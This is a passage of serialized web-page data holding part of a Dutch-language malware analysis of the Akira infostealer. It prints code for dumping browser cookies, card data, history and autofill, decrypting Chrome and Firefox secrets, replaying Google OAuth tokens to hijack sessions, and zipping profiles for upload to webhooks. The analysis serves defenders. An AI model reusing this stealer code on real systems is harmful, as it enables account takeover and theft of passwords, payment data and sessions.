profiel.",[607,6578,6579,973,6581,697],{},[540,6580,6489],{},[551,6582,6583],{},"SELECT expiration_month, expiration_year, card_number_encrypted FROM credit_cards",[607,6585,6586,1267,6588,6591],{},[540,6587,6497],{},[551,6589,6590],{},"card_number_encrypted"," precies zoals de wachtwoordblobs.",[607,6593,6594,6597,6598,697],{},[540,6595,6596],{},"Schrijft uit"," naar ",[551,6599,6600],{},"CreditCards/\u003CBrowserName> CreditCards.txt",[862,6602,6604,6605,1113],{"id":6603},"_744-cookiedumper-chromiumgetcookies","7.4.4 Cookiedumper (",[551,6606,6607],{},"Chromium.GetCookies",[533,6609,868],{},[533,6611,6612],{},"Cookies, en dan vooral sessiecookies, zijn een primair doelwit voor accountovername zonder wachtwoord. Deze module dumpt alle cookiebestanden over alle profielen, ontsleutelt ze en verzamelt essentiële metadata zoals domein, naam en vervaldatum. Gecombineerd met fingerprinting kunnen deze cookies naadloze replay-aanvallen op geauthenticeerde diensten mogelijk maken.",[588,6614,6616],{"className":4495,"code":6615,"language":4497,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n).fetchall()\nfor host, name, path, blob, expiry in results:\n    cookie_val = self.Decrypt(blob, encryptionKey)\n    cookies.append((host, name, path, cookie_val, expiry))\n",[551,6617,6618,6622,6627,6631,6636,6641],{"__ignoreMap":594},[1681,6619,6620],{"class":1683,"line":1684},[1681,6621,6540],{},[1681,6623,6624],{"class":1683,"line":2061},[1681,6625,6626],{},"    \"SELECT host_key, name, path, encrypted_value, expires_utc FROM cookies\"\n",[1681,6628,6629],{"class":1683,"line":2067},[1681,6630,6550],{},[1681,6632,6633],{"class":1683,"line":2073},[1681,6634,6635],{},"for host, name, path, blob, expiry in results:\n",[1681,6637,6638],{"class":1683,"line":2394},[1681,6639,6640],{},"    cookie_val = self.Decrypt(blob, encryptionKey)\n",[1681,6642,6643],{"class":1683,"line":2400},[1681,6644,6645],{},"    cookies.append((host, name, path, cookie_val, expiry))\n",[604,6647,6648,6656,6664,6672],{},[607,6649,6650,6471,6653,6655],{},[540,6651,6652],{},"Scant",[551,6654,6329],{},"-SQLite-database.",[607,6657,6658,1267,6661,697],{},[540,6659,6660],{},"Selecteert",[551,6662,6663],{},"host_key, name, path, encrypted_value, expires_utc",[607,6665,6666,6471,6668,6671],{},[540,6667,6497],{},[551,6669,6670],{},"encrypted_value","-blob om de eigenlijke cookiestring te onthullen.",[607,6673,6674,2031,6677,697],{},[540,6675,6676],{},"Bewaart",[551,6678,6679],{},"Cookies/\u003CBrowserName> Cookies.txt",[862,6681,6683,6684,1113],{"id":6682},"_745-google-sessiedumper-chromiumdump_google_sessions","7.4.5 Google-sessiedumper (",[551,6685,6686],{},"Chromium.dump_google_sessions",[533,6688,868],{},[533,6690,6691],{},"Deze routine, een van de geavanceerdere componenten, ontsleutelt opgeslagen OAuth-tokens uit de token_service-tabel. Door ze te herspelen via het multilogin-endpoint van Google kan de malware actieve sessiecookies regenereren, waardoor aanvallers Google-accounts kunnen overnemen zonder credentials. Dit illustreert hoe access-tokens een primair doelwit zijn geworden in moderne stealers.",[588,6693,6695],{"className":4495,"code":6694,"language":4497,"meta":594,"style":594},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\nfor service, blob in cursor.fetchall():\n    iv = blob[3:15]\n    ciphertext = blob[15:-16]\n    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n    token = cipher.decrypt(ciphertext).decode()\n    # Replays via POST to OAuth endpoint\n    response = requests.post(\n        \"https://accounts.google.com/oauth/multilogin\",\n        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n        data={\"source\": \"com.google.Drive\"}\n    )\n    save each account’s cookies to file\n",[551,6696,6697,6702,6707,6712,6717,6722,6727,6732,6737,6742,6747,6752,6756],{"__ignoreMap":594},[1681,6698,6699],{"class":1683,"line":1684},[1681,6700,6701],{},"cursor.execute(\"SELECT service, encrypted_token FROM token_service\")\n",[1681,6703,6704],{"class":1683,"line":2061},[1681,6705,6706],{},"for service, blob in cursor.fetchall():\n",[1681,6708,6709],{"class":1683,"line":2067},[1681,6710,6711],{},"    iv = blob[3:15]\n",[1681,6713,6714],{"class":1683,"line":2073},[1681,6715,6716],{},"    ciphertext = blob[15:-16]\n",[1681,6718,6719],{"class":1683,"line":2394},[1681,6720,6721],{},"    cipher = AES.new(secret_key, AES.MODE_GCM, iv)\n",[1681,6723,6724],{"class":1683,"line":2400},[1681,6725,6726],{},"    token = cipher.decrypt(ciphertext).decode()\n",[1681,6728,6729],{"class":1683,"line":3059},[1681,6730,6731],{},"    # Replays via POST to OAuth endpoint\n",[1681,6733,6734],{"class":1683,"line":3856},[1681,6735,6736],{},"    response = requests.post(\n",[1681,6738,6739],{"class":1683,"line":3862},[1681,6740,6741],{},"        \"https://accounts.google.com/oauth/multilogin\",\n",[1681,6743,6744],{"class":1683,"line":4109},[1681,6745,6746],{},"        headers={\"Authorization\": f\"MultiBearer {token}:{service_id}\"},\n",[1681,6748,6749],{"class":1683,"line":5033},[1681,6750,6751],{},"        data={\"source\": \"com.google.Drive\"}\n",[1681,6753,6754],{"class":1683,"line":5039},[1681,6755,5964],{},[1681,6757,6758],{"class":1683,"line":5045},[1681,6759,6760],{},"    save each account’s cookies to file\n",[604,6762,6763,6779,6789,6799],{},[607,6764,6765,1267,6768,6771,6772,6775,6776,6778],{},[540,6766,6767],{},"Haalt",[551,6769,6770],{},"service"," en het ruwe ",[551,6773,6774],{},"encrypted_token"," op uit de ",[551,6777,561],{},"-kloon.",[607,6780,6781,6784,6785,6788],{},[540,6782,6783],{},"AES‑GCM-ontsleuteling"," met de ",[551,6786,6787],{},"Local State","-sleutel van de browser.",[607,6790,6791,6794,6795,6798],{},[540,6792,6793],{},"Herspeelt"," ontsleutelde tokens in een POST naar Google's ",[551,6796,6797],{},"multilogin","-API om geldige OAuth-cookies te reconstrueren.",[607,6800,6801,6803,6804,697],{},[540,6802,6514],{}," per account sessiebestanden weg onder ",[551,6805,6806],{},"Cookies/\u003Cdisplay_email> Google Session.txt",[862,6808,6810,6811,1113],{"id":6809},"_746-geschiedenisdumper-chromiumgethistory","7.4.6 Geschiedenisdumper (",[551,6812,6813],{},"Chromium.GetHistory",[533,6815,868],{},[533,6817,6818],{},"Deze functie onttrekt vermeldingen uit de browsegeschiedenis, waaronder URL, titel en bezoekfrequentie. Naast de privacyschending helpt deze data aanvallers om het gedrag van het slachtoffer te begrijpen, doelen met hoge waarde te identificeren (bijvoorbeeld bankportalen) of social-engineering-payloads op maat te maken.",[588,6820,6822],{"className":4495,"code":6821,"language":4497,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n).fetchall()\nhistory.sort(key=lambda x: x[3], reverse=True)\nreturn [(url, title, count) for url, title, count, _ in history]\n",[551,6823,6824,6828,6833,6837,6842],{"__ignoreMap":594},[1681,6825,6826],{"class":1683,"line":1684},[1681,6827,6540],{},[1681,6829,6830],{"class":1683,"line":2061},[1681,6831,6832],{},"    \"SELECT url, title, visit_count, last_visit_time FROM urls\"\n",[1681,6834,6835],{"class":1683,"line":2067},[1681,6836,6550],{},[1681,6838,6839],{"class":1683,"line":2073},[1681,6840,6841],{},"history.sort(key=lambda x: x[3], reverse=True)\n",[1681,6843,6844],{"class":1683,"line":2394},[1681,6845,6846],{},"return [(url, title, count) for url, title, count, _ in history]\n",[604,6848,6849,6860,6869],{},[607,6850,6851,1267,6853,6856,6857,6859],{},[540,6852,6660],{},[551,6854,6855],{},"url, title, visit_count, last_visit_time"," uit elke ",[551,6858,6381],{},"-DB.",[607,6861,6862,6865,6866,697],{},[540,6863,6864],{},"Sorteert"," de vermeldingen aflopend op ",[551,6867,6868],{},"last_visit_time",[607,6870,6871,6597,6873,697],{},[540,6872,6596],{},[551,6874,6875],{},"History/\u003CBrowserName> History.txt",[862,6877,6879,6880,1113],{"id":6878},"_747-autofill-dumper-chromiumgetautofills","7.4.7 Autofill-dumper (",[551,6881,6882],{},"Chromium.GetAutofills",[533,6884,868],{},[533,6886,6887],{},"Autofill-invoer, zoals adressen, namen, e-mailadressen en soms betaalgerelateerde data, wordt uit de Web Data-opslag van de browser geschraapt. Deze waarden lijken misschien niet kritiek, maar samengevoegd leveren ze een rijk profiel op van de identiteit en het gedrag van het slachtoffer.",[588,6889,6891],{"className":4495,"code":6890,"language":4497,"meta":594,"style":594},"results = cursor.execute(\n    \"SELECT name, value FROM autofill\"\n).fetchall()\nfor field, value in results:\n    autofills.append((field.strip(), value.strip()))\n",[551,6892,6893,6897,6902,6906,6911],{"__ignoreMap":594},[1681,6894,6895],{"class":1683,"line":1684},[1681,6896,6540],{},[1681,6898,6899],{"class":1683,"line":2061},[1681,6900,6901],{},"    \"SELECT name, value FROM autofill\"\n",[1681,6903,6904],{"class":1683,"line":2067},[1681,6905,6550],{},[1681,6907,6908],{"class":1683,"line":2073},[1681,6909,6910],{},"for field, value in results:\n",[1681,6912,6913],{"class":1683,"line":2394},[1681,6914,6915],{},"    autofills.append((field.strip(), value.strip()))\n",[604,6917,6918,6931],{},[607,6919,6920,6922,6923,6926,6927,6930],{},[540,6921,6767],{}," formulierinvoer op: ",[551,6924,6925],{},"name, value"," uit het ",[551,6928,6929],{},"web data","-bestand.",[607,6932,6933,6935,6936,697],{},[540,6934,6514],{}," dit weg als ",[551,6937,6938],{},"Autofill/\u003CBrowserName> Autofill.txt",[862,6940,6942,6943,6945,6946,1113],{"id":6941},"_748-firefox-profielgrabber-geckodriver-grabfirefoxprofiles","7.4.8 Firefox-profielgrabber (",[551,6944,6255],{}," & ",[551,6947,6948],{},"grabFirefoxProfiles",[533,6950,868],{},[533,6952,6953],{},"Anders dan de fijnmazige Chromium-routines kiest deze functie voor een brede aanpak: ze comprimeert de volledige Firefox-profielmap, inclusief opgeslagen logins, cookies en bladwijzers, en exfiltreert die in zijn geheel. Zo kunnen aanvallers de data offline analyseren of onttrekken, waarbij ze ontsleutelingshordes omzeilen met bekende NSS-tooling.",[588,6955,6957],{"className":4495,"code":6956,"language":4497,"meta":594,"style":594},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n    for root, dirs, files in os.walk(source_path):\n        zipf.write(each file)\n# Upload via GoFile/File.io, then POST via attacker webhooks\n",[551,6958,6959,6964,6969,6974],{"__ignoreMap":594},[1681,6960,6961],{"class":1683,"line":1684},[1681,6962,6963],{},"with zipfile.ZipFile(zip_path, 'w') as zipf:\n",[1681,6965,6966],{"class":1683,"line":2061},[1681,6967,6968],{},"    for root, dirs, files in os.walk(source_path):\n",[1681,6970,6971],{"class":1683,"line":2067},[1681,6972,6973],{},"        zipf.write(each file)\n",[1681,6975,6976],{"class":1683,"line":2073},[1681,6977,6978],{},"# Upload via GoFile/File.io, then POST via attacker webhooks\n",[604,6980,6981,6991,7001],{},[607,6982,6983,6986,6987,6990],{},[540,6984,6985],{},"Zipt"," de volledige ",[551,6988,6989],{},"%APPDATA%\\Mozilla\\Firefox\\Profiles","-map.",[607,6992,6993,6996,6997,7000],{},[540,6994,6995],{},"Noemt"," deze ",[551,6998,6999],{},"%TEMP%\\\u003CComputerName>_Firefox_profiles.zip"," en stuurt de downloadlink over dezelfde webhook-kanalen.",[607,7002,7003,7006,7007,620,7010,620,7013,7016],{},[540,7004,7005],{},"Roept"," daarnaast dezelfde SQLite-gebaseerde onttrekkingsfuncties (",[551,7008,7009],{},"logins.json",[551,7011,7012],{},"cookies.sqlite",[551,7014,7015],{},"places.sqlite",") aan tegen elk Firefox-profiel, met de reeds aanwezige NSS-ontsleutelingsroutines.",[862,7018,7020],{"id":7019},"_749-samenvatting-van-de-onttrekking","7.4.9 Samenvatting van de onttrekking",[533,7022,868],{},[533,7024,7025,7026,620,7028,620,7030,620,7032,2183,7034,7037,7038,7041,7042,7044,7045,620,7047,2183,7049,7051,7052,7055],{},"Astor.py orkestreert een omvattend browsercompromis door systematisch elk credential- en sessieartefact over Chromium-gebaseerde en Firefox-clients te oogsten. Het lokaliseert en kopieert elke SQLite-store veilig, ",[551,7027,557],{},[551,7029,561],{},[551,7031,6329],{},[551,7033,6381],{},[551,7035,7036],{},"autofill",", en voert vervolgens gerichte SQL-query's uit om URL's, gebruikersnamen, wachtwoorden, creditcardgegevens, cookies, browsegeschiedenis en formulierinvoer te onttrekken. Wachtwoorden en betaaldata worden ontsleuteld via AES-GCM (of Windows DPAPI als fallback), terwijl cookies op vergelijkbare wijze worden uitgepakt om hun leesbare waarden te onthullen. Voor Google-accounts worden versleutelde OAuth-tokens uit ",[551,7039,7040],{},"token_service"," ontsleuteld en herspeeld tegen de ",[551,7043,6797],{},"-API om live sessiecookies te regenereren. Ten slotte worden Firefox-profielen in hun geheel gearchiveerd (inclusief ",[551,7046,7009],{},[551,7048,7012],{},[551,7050,7015],{},") en als ZIP's afgeleverd, zodat geen enkel artefact achterblijft. Deze end-to-end-pijplijn draait geruisloos onder ",[551,7053,7054],{},"%TEMP%\\\u003CComputerName>"," en produceert netjes geordende uitvoerbestanden voor elke datacategorie.",[715,7057,7059],{"id":7058},"_75-ontsleutelingslogica","7.5 Ontsleutelingslogica",[533,7061,721],{},[533,7063,7064],{},"Moderne browsers zoals Chrome en Edge versleutelen gevoelige data, zoals wachtwoorden, cookies en creditcardgegevens, voordat ze die lokaal opslaan. Akira bevat ingebouwde ontsleutelingsroutines die zowel oudere als huidige Chromium-encryptiemethoden aankunnen. Zo kan de malware leesbare data onttrekken, ongeacht het patchniveau van het systeem of de browserversie.",[533,7066,7067],{},"De kern van dit proces is het onttrekken en ontsleutelen van de master-encryptiesleutel van de browser, die is opgeslagen in een bestand genaamd Local State. Afhankelijk van de browserversie en de Windows-build selecteert Akira dynamisch de passende ontsleutelingsmethode:",[533,7069,7070],{},"DPAPI (Data Protection API) wordt gebruikt op oudere systemen, waar Chrome geheimen opslaat die beschermd zijn met de Windows-credentials van de huidige gebruiker.",[533,7072,7073],{},"AES-GCM wordt gebruikt op moderne Chromium-builds, waar een willekeurig gegenereerde master key zelf met DPAPI wordt versleuteld en vervolgens wordt gebruikt voor de in-app-encryptie van gebruikersdata.",[533,7075,7076],{},"Door eerst de Local State-master key te ontsleutelen krijgt Akira de mogelijkheid om alle browsergeheimen te ontgrendelen, wat de weg vrijmaakt voor het onttrekken van credentials, tokens, cookies en meer.",[533,7078,7079],{},[540,7080,7081],{},"Sleutelonttrekking",[588,7083,7085],{"className":4495,"code":7084,"language":4497,"meta":594,"style":594},"local_state_path = os.path.join(user_path, \"Local State\")\nwith open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n    local_state = json.load(f)\nmaster_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[551,7086,7087,7092,7097,7102],{"__ignoreMap":594},[1681,7088,7089],{"class":1683,"line":1684},[1681,7090,7091],{},"local_state_path = os.path.join(user_path, \"Local State\")\n",[1681,7093,7094],{"class":1683,"line":2061},[1681,7095,7096],{},"with open(local_state_path, \"r\", encoding=\"utf-8\") as f:\n",[1681,7098,7099],{"class":1683,"line":2067},[1681,7100,7101],{},"    local_state = json.load(f)\n",[1681,7103,7104],{"class":1683,"line":2073},[1681,7105,7106],{},"master_key = base64.b64decode(local_state[\"os_crypt\"][\"encrypted_key\"])\n",[533,7108,7109],{},[540,7110,7111],{},"Ontsleuteling (AES-GCM):",[588,7113,7115],{"className":4495,"code":7114,"language":4497,"meta":594,"style":594},"nonce = value[3:15]\nciphertext = value[15:-16]\ntag = value[-16:]\ncipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\ndecrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[551,7116,7117,7122,7127,7132,7137],{"__ignoreMap":594},[1681,7118,7119],{"class":1683,"line":1684},[1681,7120,7121],{},"nonce = value[3:15]\n",[1681,7123,7124],{"class":1683,"line":2061},[1681,7125,7126],{},"ciphertext = value[15:-16]\n",[1681,7128,7129],{"class":1683,"line":2067},[1681,7130,7131],{},"tag = value[-16:]\n",[1681,7133,7134],{"class":1683,"line":2073},[1681,7135,7136],{},"cipher = AES.new(aes_key, AES.MODE_GCM, nonce=nonce)\n",[1681,7138,7139],{"class":1683,"line":2394},[1681,7140,7141],{},"decrypted = cipher.decrypt_and_verify(ciphertext, tag)\n",[533,7143,7144,7145,697],{},"Als een fallback naar DPAPI nodig is (op oudere systemen), gebruikt de malware ",[551,7146,7147],{},"win32crypt.CryptUnprotectData()",[533,7149,7150,7156],{},[540,7151,7152,7153,1174],{},"Toelichting op ",[551,7154,7155],{},"decrypt_password_blob","\nDeze functie laat zien hoe Akira Stealer elke opgeslagen wachtwoordwaarde uit Chromium-gebaseerde browsers ontsleutelt. Ze behandelt twee gevallen:",[2081,7158,7159,7169],{},[607,7160,7161,7164,7165,7168],{},[540,7162,7163],{},"Windows DPAPI-blobs"," (oudere of niet met GCM versleutelde data): valt terug op de systeemaanroep ",[551,7166,7167],{},"CryptUnprotectData",", die de Windows-credentials van de gebruiker gebruikt om te ontsleutelen.",[607,7170,7171,7174,7175,7178],{},[540,7172,7173],{},"AES-GCM-versleutelde blobs"," (Chrome v10/v11-formaat): parseert de versieheader, onttrekt de IV en de authenticatietag, en gebruikt de ",[551,7176,7177],{},"cryptography","-bibliotheek om de payload veilig te ontsleutelen.",[588,7180,7182],{"className":4495,"code":7181,"language":4497,"meta":594,"style":594},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\nfrom cryptography.hazmat.backends import default_backend\n\n\ndef decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n    \"\"\"\n    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n\n    Parameters:\n    - buffer: raw encrypted blob from the `password_value` field\n    - key: the master AES key retrieved via DPAPI from Local State\n\n    Returns:\n    - Decrypted UTF-8 plaintext password\n    \"\"\"\n    # 1) DPAPI fallback for non-AES-GCM blobs\n    if not buffer.startswith((b'v10', b'v11')):\n        # Uses Windows CryptUnprotectData under the hood\n        return CryptUnprotectData(buffer)\n\n    # 2) AES-GCM decryption for Chrome v10/v11 format:\n    # Bytes layout:\n    # [0:3]    = version header ('v10'/'v11')\n    # [3:15]   = initialization vector (IV)\n    # [15:-16] = ciphertext payload\n    # [-16:]   = GCM authentication tag\n    iv = buffer[3:15]\n    ciphertext = buffer[15:-16]\n    tag = buffer[-16:]\n\n    # Initialize AES-GCM cipher with extracted IV and tag\n    cipher = Cipher(\n        algorithms.AES(key),\n        modes.GCM(iv, tag),\n        backend=default_backend()\n    )\n    decryptor = cipher.decryptor()\n\n    # Perform decryption; raises if authentication fails\n    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n\n    # Decode to UTF-8, ignoring any stray errors\n    return plaintext.decode('utf-8', errors='ignore')\n",[551,7183,7184,7189,7194,7198,7202,7207,7211,7216,7220,7225,7230,7235,7239,7244,7249,7253,7258,7263,7268,7273,7277,7282,7287,7292,7297,7302,7307,7312,7317,7322,7326,7331,7336,7341,7346,7351,7355,7360,7364,7369,7374,7378,7383],{"__ignoreMap":594},[1681,7185,7186],{"class":1683,"line":1684},[1681,7187,7188],{},"from cryptography.hazmat.primitives.ciphers import Cipher, algorithms, modes\n",[1681,7190,7191],{"class":1683,"line":2061},[1681,7192,7193],{},"from cryptography.hazmat.backends import default_backend\n",[1681,7195,7196],{"class":1683,"line":2067},[1681,7197,3853],{"emptyLinePlaceholder":325},[1681,7199,7200],{"class":1683,"line":2073},[1681,7201,3853],{"emptyLinePlaceholder":325},[1681,7203,7204],{"class":1683,"line":2394},[1681,7205,7206],{},"def decrypt_password_blob(buffer: bytes, key: bytes) -> str:\n",[1681,7208,7209],{"class":1683,"line":2400},[1681,7210,5838],{},[1681,7212,7213],{"class":1683,"line":3059},[1681,7214,7215],{},"    Decrypts a Chrome password blob using either DPAPI or AES-GCM.\n",[1681,7217,7218],{"class":1683,"line":3856},[1681,7219,3853],{"emptyLinePlaceholder":325},[1681,7221,7222],{"class":1683,"line":3862},[1681,7223,7224],{},"    Parameters:\n",[1681,7226,7227],{"class":1683,"line":4109},[1681,7228,7229],{},"    - buffer: raw encrypted blob from the `password_value` field\n",[1681,7231,7232],{"class":1683,"line":5033},[1681,7233,7234],{},"    - key: the master AES key retrieved via DPAPI from Local State\n",[1681,7236,7237],{"class":1683,"line":5039},[1681,7238,3853],{"emptyLinePlaceholder":325},[1681,7240,7241],{"class":1683,"line":5045},[1681,7242,7243],{},"    Returns:\n",[1681,7245,7246],{"class":1683,"line":5051},[1681,7247,7248],{},"    - Decrypted UTF-8 plaintext password\n",[1681,7250,7251],{"class":1683,"line":5057},[1681,7252,5838],{},[1681,7254,7255],{"class":1683,"line":5063},[1681,7256,7257],{},"    # 1) DPAPI fallback for non-AES-GCM blobs\n",[1681,7259,7260],{"class":1683,"line":5069},[1681,7261,7262],{},"    if not buffer.startswith((b'v10', b'v11')):\n",[1681,7264,7265],{"class":1683,"line":5075},[1681,7266,7267],{},"        # Uses Windows CryptUnprotectData under the hood\n",[1681,7269,7270],{"class":1683,"line":5081},[1681,7271,7272],{},"        return CryptUnprotectData(buffer)\n",[1681,7274,7275],{"class":1683,"line":5087},[1681,7276,3853],{"emptyLinePlaceholder":325},[1681,7278,7279],{"class":1683,"line":5093},[1681,7280,7281],{},"    # 2) AES-GCM decryption for Chrome v10/v11 format:\n",[1681,7283,7284],{"class":1683,"line":5099},[1681,7285,7286],{},"    # Bytes layout:\n",[1681,7288,7289],{"class":1683,"line":5105},[1681,7290,7291],{},"    # [0:3]    = version header ('v10'/'v11')\n",[1681,7293,7294],{"class":1683,"line":5111},[1681,7295,7296],{},"    # [3:15]   = initialization vector (IV)\n",[1681,7298,7299],{"class":1683,"line":5117},[1681,7300,7301],{},"    # [15:-16] = ciphertext payload\n",[1681,7303,7304],{"class":1683,"line":5784},[1681,7305,7306],{},"    # [-16:]   = GCM authentication tag\n",[1681,7308,7309],{"class":1683,"line":5789},[1681,7310,7311],{},"    iv = buffer[3:15]\n",[1681,7313,7314],{"class":1683,"line":5794},[1681,7315,7316],{},"    ciphertext = buffer[15:-16]\n",[1681,7318,7319],{"class":1683,"line":5799},[1681,7320,7321],{},"    tag = buffer[-16:]\n",[1681,7323,7324],{"class":1683,"line":5805},[1681,7325,3853],{"emptyLinePlaceholder":325},[1681,7327,7328],{"class":1683,"line":5810},[1681,7329,7330],{},"    # Initialize AES-GCM cipher with extracted IV and tag\n",[1681,7332,7333],{"class":1683,"line":5815},[1681,7334,7335],{},"    cipher = Cipher(\n",[1681,7337,7338],{"class":1683,"line":5820},[1681,7339,7340],{},"        algorithms.AES(key),\n",[1681,7342,7343],{"class":1683,"line":5825},[1681,7344,7345],{},"        modes.GCM(iv, tag),\n",[1681,7347,7348],{"class":1683,"line":5830},[1681,7349,7350],{},"        backend=default_backend()\n",[1681,7352,7353],{"class":1683,"line":5835},[1681,7354,5964],{},[1681,7356,7357],{"class":1683,"line":5841},[1681,7358,7359],{},"    decryptor = cipher.decryptor()\n",[1681,7361,7362],{"class":1683,"line":5847},[1681,7363,3853],{"emptyLinePlaceholder":325},[1681,7365,7366],{"class":1683,"line":5853},[1681,7367,7368],{},"    # Perform decryption; raises if authentication fails\n",[1681,7370,7371],{"class":1683,"line":5858},[1681,7372,7373],{},"    plaintext = decryptor.update(ciphertext) + decryptor.finalize()\n",[1681,7375,7376],{"class":1683,"line":5863},[1681,7377,3853],{"emptyLinePlaceholder":325},[1681,7379,7380],{"class":1683,"line":5868},[1681,7381,7382],{},"    # Decode to UTF-8, ignoring any stray errors\n",[1681,7384,7385],{"class":1683,"line":5873},[1681,7386,7387],{},"    return plaintext.decode('utf-8', errors='ignore')\n",[715,7389,7391],{"id":7390},"_76-kaping-van-sessietokens","7.6 Kaping van sessietokens",[533,7393,721],{},[533,7395,7396,7397,7400],{},"Akira blijft niet steken bij passief dataverzamelen: de malware kaapt actief live sessietokens om slachtoffers in realtime te imiteren. Nadat ze versleutelde tokens uit de browseropslag heeft onttrokken, reconstrueert ze de vereiste autorisatieheader en herspeelt ze een ",[540,7398,7399],{},"MultiLogin","-verzoek tegen het OAuth-endpoint van Google. Het codefragment hieronder illustreert dit proces:",[588,7402,7404],{"className":4495,"code":7403,"language":4497,"meta":594,"style":594},"# Build SAPISIDHASH header for Google services\norigin = \"https://accounts.google.com\"\ntimestamp = int(time.time())\n# Compute SHA1 of \"timestamp origin SAPISID\"\npayload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\nsignature = hashlib.sha1(payload).hexdigest()\nheaders = {\n    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n    \"Content-Type\": \"application/json\"\n}\n# Replay MultiLogin to fetch valid session cookies\nresponse = requests.post(\n    \"https://accounts.google.com/accounts/multilogin\",\n    headers=headers,\n    json={\"continue\": \"https://mail.google.com\"}\n)\nif response.status_code == 200:\n    # Victim’s cookies now present in response.cookies\n    hijacked_cookies = response.cookies\n",[551,7405,7406,7411,7416,7421,7426,7431,7436,7441,7446,7451,7455,7460,7465,7470,7475,7480,7484,7489,7494],{"__ignoreMap":594},[1681,7407,7408],{"class":1683,"line":1684},[1681,7409,7410],{},"# Build SAPISIDHASH header for Google services\n",[1681,7412,7413],{"class":1683,"line":2061},[1681,7414,7415],{},"origin = \"https://accounts.google.com\"\n",[1681,7417,7418],{"class":1683,"line":2067},[1681,7419,7420],{},"timestamp = int(time.time())\n",[1681,7422,7423],{"class":1683,"line":2073},[1681,7424,7425],{},"# Compute SHA1 of \"timestamp origin SAPISID\"\n",[1681,7427,7428],{"class":1683,"line":2394},[1681,7429,7430],{},"payload = f\"{timestamp} {origin} {sap_id_cookie}\".encode()\n",[1681,7432,7433],{"class":1683,"line":2400},[1681,7434,7435],{},"signature = hashlib.sha1(payload).hexdigest()\n",[1681,7437,7438],{"class":1683,"line":3059},[1681,7439,7440],{},"headers = {\n",[1681,7442,7443],{"class":1683,"line":3856},[1681,7444,7445],{},"    \"Authorization\": f\"SAPISIDHASH {timestamp}_{signature}\",\n",[1681,7447,7448],{"class":1683,"line":3862},[1681,7449,7450],{},"    \"Content-Type\": \"application/json\"\n",[1681,7452,7453],{"class":1683,"line":4109},[1681,7454,2403],{},[1681,7456,7457],{"class":1683,"line":5033},[1681,7458,7459],{},"# Replay MultiLogin to fetch valid session cookies\n",[1681,7461,7462],{"class":1683,"line":5039},[1681,7463,7464],{},"response = requests.post(\n",[1681,7466,7467],{"class":1683,"line":5045},[1681,7468,7469],{},"    \"https://accounts.google.com/accounts/multilogin\",\n",[1681,7471,7472],{"class":1683,"line":5051},[1681,7473,7474],{},"    headers=headers,\n",[1681,7476,7477],{"class":1683,"line":5057},[1681,7478,7479],{},"    json={\"continue\": \"https://mail.google.com\"}\n",[1681,7481,7482],{"class":1683,"line":5063},[1681,7483,5252],{},[1681,7485,7486],{"class":1683,"line":5069},[1681,7487,7488],{},"if response.status_code == 200:\n",[1681,7490,7491],{"class":1683,"line":5075},[1681,7492,7493],{},"    # Victim’s cookies now present in response.cookies\n",[1681,7495,7496],{"class":1683,"line":5081},[1681,7497,7498],{},"    hijacked_cookies = response.cookies\n",[533,7500,7501],{},"Door dit verzoek te herspelen kan Akira de Gmail, Drive of elke andere Google-dienst van de gebruiker imiteren die door een geldige sessie is beschermd, zonder credentials. Deze techniek maakt gebruik van Google's eigen logica voor tokenacceptatie, waardoor ze nauwelijks te onderscheiden is van legitiem clientgedrag.",[715,7503,7505],{"id":7504},"_77-firefox-decryptie","7.7 Firefox-decryptie",[533,7507,721],{},[533,7509,7510,7511,7514],{},"Op Gecko gebaseerde browsers zoals Firefox versleutelen opgeslagen credentials en cookies met een master key die in ",[551,7512,7513],{},"key4.db"," staat. Akira bevat een uitgeklede decryptieroutine die de NSS-logica van Mozilla nabootst en zowel 3DES- als AES-CBC-varianten verwerkt zonder de prompt voor het master password te triggeren. Voorbeeld van gebruik:",[588,7516,7518],{"className":4495,"code":7517,"language":4497,"meta":594,"style":594},"# Load global Salt and encrypted item from key4.db\ndb = sqlite3.connect(profile_path + \"/key4.db\")\ncursor = db.cursor()\ncursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\nglobal_salt, item2 = cursor.fetchone()\n\n# Decode DER structure and derive key\ndecoded, _ = der_decode(item2)\nentry_salt = decoded[0][1][0].asOctets()\ncipher_text = decoded[1].asOctets()\n# Derive 3DES key\nkey = derive_3des_key(global_salt, master_password, entry_salt)\niv = decoded[0][1][1].asOctets()\n# Decrypt credentials\ncipher = DES3.new(key, DES3.MODE_CBC, iv)\nclear_password = unpad(cipher.decrypt(cipher_text))\n\nprint(\"Decrypted Firefox password:\", clear_password)\n",[551,7519,7520,7525,7530,7535,7540,7545,7549,7554,7559,7564,7569,7574,7579,7584,7589,7594,7599,7603],{"__ignoreMap":594},[1681,7521,7522],{"class":1683,"line":1684},[1681,7523,7524],{},"# Load global Salt and encrypted item from key4.db\n",[1681,7526,7527],{"class":1683,"line":2061},[1681,7528,7529],{},"db = sqlite3.connect(profile_path + \"/key4.db\")\n",[1681,7531,7532],{"class":1683,"line":2067},[1681,7533,7534],{},"cursor = db.cursor()\n",[1681,7536,7537],{"class":1683,"line":2073},[1681,7538,7539],{},"cursor.execute(\"SELECT item1, item2 FROM metadata WHERE id = 'password'\")\n",[1681,7541,7542],{"class":1683,"line":2394},[1681,7543,7544],{},"global_salt, item2 = cursor.fetchone()\n",[1681,7546,7547],{"class":1683,"line":2400},[1681,7548,3853],{"emptyLinePlaceholder":325},[1681,7550,7551],{"class":1683,"line":3059},[1681,7552,7553],{},"# Decode DER structure and derive key\n",[1681,7555,7556],{"class":1683,"line":3856},[1681,7557,7558],{},"decoded, _ = 